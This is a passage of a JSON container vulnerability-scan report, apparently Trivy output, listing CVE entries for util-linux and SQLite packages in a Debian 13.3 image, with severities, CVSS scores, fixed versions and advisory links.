"sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fa29cfb0cde5cd1594195a83f08cc7a5cab7b136a7a15b36cc909035542f4776", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-76642", "PkgID": "libsmartcols1@2.41-5", "PkgName": "libsmartcols1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsmartcols1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "cfae7d67f8245164" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76642", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:629a27551b86a4b7d75f4616289eda820b9e5a361d774b81170f328b8d053103", "Title": "util-linux: util-linux: failed external mount helper still runs privileged X-mount post-hooks", "Description": "util-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-390" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-76642", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892", "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a", "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc", "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf", "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f", "https://linux.oracle.com/cve/CVE-2026-76642.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-76642", "https://www.cve.org/CVERecord?id=CVE-2026-76642", "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper" ], "PublishedDate": "2026-09-03T13:06:08.44Z", "LastModifiedDate": "2026-09-24T20:28:01.78Z" }, { "VulnerabilityID": "CVE-2026-78408", "PkgID": "libsmartcols1@2.41-5", "PkgName": "libsmartcols1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsmartcols1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "cfae7d67f8245164" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78408", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b6247f0efbe31505d05ada455998655430e9084401757489095bd43a4cbd7ac6", "Title": "util-linux: util-linux: nsenter --join-cgroup leaks root cgroup migration authority", "Description": "The nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.", "Severity": "HIGH", "CweIDs": [ "CWE-775" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H", "V3Score": 7.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/09/05/2", "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78408", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj", "https://linux.oracle.com/cve/CVE-2026-78408.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78408", "https://www.cve.org/CVERecord?id=CVE-2026-78408" ], "PublishedDate": "2026-09-02T16:17:23.687Z", "LastModifiedDate": "2026-11-05T03:17:32.977Z" }, { "VulnerabilityID": "CVE-2026-78409", "PkgID": "libsmartcols1@2.41-5", "PkgName": "libsmartcols1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsmartcols1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "cfae7d67f8245164" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78409", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7fc8c8858d59cf3c7a533fab3d3fa7c43a1b607176d58c24ddd2d1b94d155869", "Title": "util-linux: util-linux: X-mount.subdir detached-tree resolution can escape via intermediate symlinks", "Description": "The X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/security/cve/CVE-2026-78409", "https://bugzilla.redhat.com/show_bug.cgi?id=2522607", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv", "https://nvd.nist.gov/vuln/detail/CVE-2026-78409", "https://www.cve.org/CVERecord?id=CVE-2026-78409" ], "PublishedDate": "2026-09-02T16:17:23.833Z", "LastModifiedDate": "2026-11-05T00:17:28.61Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "libsmartcols1@2.41-5", "PkgName": "libsmartcols1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsmartcols1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "cfae7d67f8245164" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8c838fa249486c36353f60eec5a3438a43b23cd91a8078e99173c63688ec16e6", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2026-11822", "PkgID": "libsqlite3-0@3.46.1-7", "PkgName": "libsqlite3-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsqlite3-0@3.46.1-7?arch=amd64\u0026distro=debian-13.3", "UID": "2575602fecf9ea39" }, "InstalledVersion": "3.46.1-7", "FixedVersion": "3.46.1-7+deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-11822", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f66d7e2fc5dd73586b1bc51ae007b98c8f94a0b1c748ab485d588d480f8edbc5", "Title": "sqlite: SQLite: Arbitrary code execution via crafted FTS5 full-text search data", "Description": "SQLite before 3.53.2 contains an out-of-bounds read vulnerability in the FTS5 full-text search extension that allows attackers to crash the process by supplying a crafted database with a malformed FTS5 leaf page. Attackers can set an oversized term length in the leaf page so that fts5LeafSeek() reads past the end of the page buffer while comparing terms during an FTS5 MATCH query, in applications compiled with SQLITE_ENABLE_FTS5.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:58936", "https://access.redhat.com/security/cve/CVE-2026-11822", "https://bugzilla.redhat.com/show_bug.cgi?id=2487258", "https://bugzilla.redhat.com/show_bug.cgi?id=2487269", "https://cert-portal.siemens.com/productcert/html/ssa-765416.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11822", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11824", "https://errata.almalinux.org/9/ALSA-2026-58936.html", "https://errata.rockylinux.org/RLSA-2026:58936", "https://linux.oracle.com/cve/CVE-2026-11822.html", "https://linux.oracle.com/errata/ELSA-2026-61242-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-11822", "https://sqlite.org/releaselog/3_53_2.html", "https://sqlite.org/src/info/061febcf41ca", "https://sqlite.org/src/info/4a5ad516ea93", "https://sqlite.org/src/info/87b653731171", "https://sqlite.org/src/info/fad98805b7d7", "https://ubuntu.com/security/notices/USN-8480-1", "https://www.cve.org/CVERecord?id=CVE-2026-11822", "https://www.vulncheck.com/advisories/sqlite-before-memory-corruption-in-fts5-extension" ], "PublishedDate": "2026-06-09T20:16:32.15Z", "LastModifiedDate": "2026-10-30T02:17:08.76Z" }, { "VulnerabilityID": "CVE-2026-11824", "PkgID": "libsqlite3-0@3.46.1-7", "PkgName": "libsqlite3-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsqlite3-0@3.46.1-7?arch=amd64\u0026distro=debian-13.3", "UID": "2575602fecf9ea39" }, "InstalledVersion": "3.46.1-7", "FixedVersion": "3.46.1-7+deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-11824", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4452a9012613433a29cf9da5d4135ee0ff37bf347f75ae31d4a05e6deaa16d52", "Title": "sqlite: SQLite: Arbitrary code execution and crash via heap-based buffer overflow in FTS5", "Description": "SQLite before 3.53.2 contains a heap-based buffer overflow vulnerability in the FTS5 full-text search extension that allows attackers to cause a crash or execute arbitrary code by supplying a crafted database with malicious continuation page metadata specifying a szLeaf value smaller than 4. Attackers can trigger an integer underflow in fts5ChunkIterate() causing an inflated remaining byte count during FTS5 MATCH query processing, leading to a heap buffer overflow of attacker-controlled data in applications compiled with SQLITE_ENABLE_FTS5.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:58936", "https://access.redhat.com/security/cve/CVE-2026-11824", "https://bugzilla.redhat.com/show_bug.cgi?id=2487258", "https://bugzilla.redhat.com/show_bug.cgi?id=2487269", "https://cert-portal.siemens.com/productcert/html/ssa-765416.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11822", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11824", "https://errata.almalinux.org/9/ALSA-2026-58936.html", "https://errata.rockylinux.org/RLSA-2026:58936", "https://linux.oracle.com/cve/CVE-2026-11824.html", "https://linux.oracle.com/errata/ELSA-2026-58938.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-11824", "https://sqlite.org/releaselog/3_53_2.html", "https://sqlite.org/src/info/061febcf41ca", "https://sqlite.org/src/info/4a5ad516ea93", "https://ubuntu.com/security/notices/USN-8480-1", "https://www.cve.org/CVERecord?id=CVE-2026-11824", "https://www.vulncheck.com/advisories/sqlite-before-heap-buffer-overflow-via-fts5-fts5chunkiterate" ], "PublishedDate": "2026-06-09T20:16:32.3Z", "LastModifiedDate": "2026-10-15T02:18:37.653Z" }, { "VulnerabilityID": "CVE-2026-119373", "PkgID": "libsqlite3-0@3.46.1-7", "PkgName": "libsqlite3-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsqlite3-0@3.46.1-7?arch=amd64\u0026distro=debian-13.3", "UID": "2575602fecf9ea39" }, "InstalledVersion": "3.46.1-7", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119373", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:14a0b90730e09893e67e69cce9ec1989a8cd17a99814da5e3b90f333efe28d26", "Title": "sqlite: sqlite: Denial of service via heap-based buffer overflow in FTS5", "Description": "SQLite before 3.54.0 built with FTS5 contains a heap buffer overflow in fts5MergeRowidLists() that undersizes the output buffer when merging detail=none prefix doclists. Attackers who can populate a detail=none FTS5 table with negative rowids and run a prefix MATCH query can write past the allocation, corrupting heap memory and crashing the process.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://abraxaslabs.tech/research/sqlite-fts5-rowidmerge", "https://access.redhat.com/security/cve/CVE-2026-119373", "https://github.com/sqlite/sqlite", "https://github.com/sqlite/sqlite/blob/version-3.53.4/ext/fts5/fts5_index.c#L6107", "https://github.com/sqlite/sqlite/commit/e1c9934f9f11a499029abb020ea715a08970da80", "https://nvd.nist.gov/vuln/detail/CVE-2026-119373", "https://sqlite.org/bugs/info/2026-08-04T08:49:27Z", "https://sqlite.org/releaselog/3_54_0.html", "https://sqlite.org/src/info/a7f8c92f62", "https://www.cve.org/CVERecord?id=CVE-2026-119373", "https://www.vulncheck.com/advisories/sqlite-before-3.54.0-fts5-heap-buffer-overflow-via-fts5mergerowidlists" ], "PublishedDate": "2026-10-30T12:16:36.027Z", "LastModifiedDate": "2026-11-05T21:18:41.047Z" }, { "VulnerabilityID": "CVE-2026-119374", "PkgID": "libsqlite3-0@3.46.1-7", "PkgName": "libsqlite3-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsqlite3-0@3.46.1-7?arch=amd64\u0026distro=debian-13.3", "UID": "2575602fecf9ea39" }, "InstalledVersion": "3.46.1-7", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119374", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:22d25af1f193162a369aff7ce8ad502ed103a7c46b76e711c6728af5d68a3714", "Title": "sqlite: sqlite: Arbitrary code execution via corrupted FTS5 index", "Description": "SQLite before 3.54.0 built with FTS5 contains a heap buffer overflow in fts5DoSecureDelete() that allows attackers to write past the leaf page buffer via crafted footer key offsets. Attackers can supply a database file with a corrupted FTS5 index that, when deleted from with secure-delete enabled, corrupts heap memory and crashes the application.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://abraxaslabs.tech/research/sqlite-fts5-securedel", "https://access.redhat.com/security/cve/CVE-2026-119374", "https://github.com/sqlite/sqlite", "https://github.com/sqlite/sqlite/blob/version-3.53.4/ext/fts5/fts5_index.c#L5525", "https://github.com/sqlite/sqlite/commit/d9de6eedbe918c074c7556400fa21df5960704d9", "https://nvd.nist.gov/vuln/detail/CVE-2026-119374", "https://sqlite.org/releaselog/3_54_0.html", "https://sqlite.org/src/info/9cd4f9e920", "https://www.cve.org/CVERecord?id=CVE-2026-119374", "https://www.vulncheck.com/advisories/sqlite-before-3.54.0-heap-buffer-overflow-via-fts5-fts5dosecuredelete" ], "PublishedDate": "2026-10-30T12:16:36.187Z", "LastModifiedDate": "2026-11-03T16:09:06.143Z" }, { "VulnerabilityID": "CVE-2026-119379", "PkgID": "libsqlite3-0@3.46.1-7", "PkgName": "libsqlite3-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsqlite3-0@3.46.1-7?arch=amd64\u0026distro=debian-13.3", "UID": "2575602fecf9ea39" }, "InstalledVersion": "3.46.1-7", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119379", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:31c641f3b2717861c745c81ce5cb9ab9d4f04ce2540a5248c9772094474d1b66", "Title": "sqlite: sqlite: Arbitrary code execution via crafted session changesets", "Description": "SQLite before 3.54.0 built with the session extension contains a heap buffer overflow vulnerability in sqlite3changeset_apply() that allows attackers to corrupt heap memory by supplying crafted changesets. Attackers can repeat a table name in a second changeset block with a larger column count, causing sessionUpdateFind() to memset past the undersized aUpdateMask allocation.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://abraxaslabs.tech/research/sqlite-session-ncol", 